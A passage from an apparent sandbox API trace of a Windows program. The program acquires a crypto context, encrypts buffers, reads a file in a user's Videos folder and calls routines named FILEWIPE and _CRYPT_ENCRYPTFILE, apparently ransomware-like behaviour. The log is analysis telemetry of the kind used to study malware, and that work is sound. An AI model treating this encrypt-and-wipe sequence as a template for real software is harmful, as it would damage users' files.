dwFlags=0x0 | out: pbData=0xe8f4064a60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.866] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.866] CryptEncrypt (in: hKey=0xe8f4062790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16afe, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16b00) returned 1 [0029.866] CharLowerBuffW (in: lpsz="byte[92929]", cchLength=0xb | out: lpsz="byte[92929]") returned 0xb [0029.868] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.868] CryptEncrypt (in: hKey=0xe8f4062790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16afe, dwBufLen=0x16b00 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16b00) returned 1 [0029.875] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.875] CryptDestroyKey (hKey=0xe8f4062790) returned 1 [0029.875] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.875] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0029.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.876] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.876] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.876] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.876] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.876] CloseHandle (hObject=0x188) returned 1 [0029.877] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.877] CloseHandle (hObject=0x1fc) returned 1 [0029.879] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.881] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.881] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\3GkGzbMLh1qrwjzKQdNY.avi" (normalized: "c:\\users\\5jghkoaofdp\\videos\\oy5jzvohderz\\3gkgzbmlh1qrwjzkqdny.avi")) returned 0x20 [0029.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.882] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\3GkGzbMLh1qrwjzKQdNY.avi", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069770 [0029.882] FindClose (in: hFindFile=0xe8f4069770 | out: hFindFile=0xe8f4069770) returned 1 [0029.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.882] CharLowerBuffW (in: lpsz="byte[92926]", cchLength=0xb | out: lpsz="byte[92926]") returned 0xb [0029.883] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.883] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.884] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.884] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.884] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.885] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.885] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.885] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.886] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.886] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.886] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.886] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.887] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.887] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12130) returned 1 [0029.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.888] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2f62, lpOverlapped=0x0) returned 1 [0029.888] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2f62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12130) returned 1 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.888] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.888] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.888] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.888] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.889] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.889] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.889] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.889] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.889] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.890] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.890] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.890] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.890] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.890] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 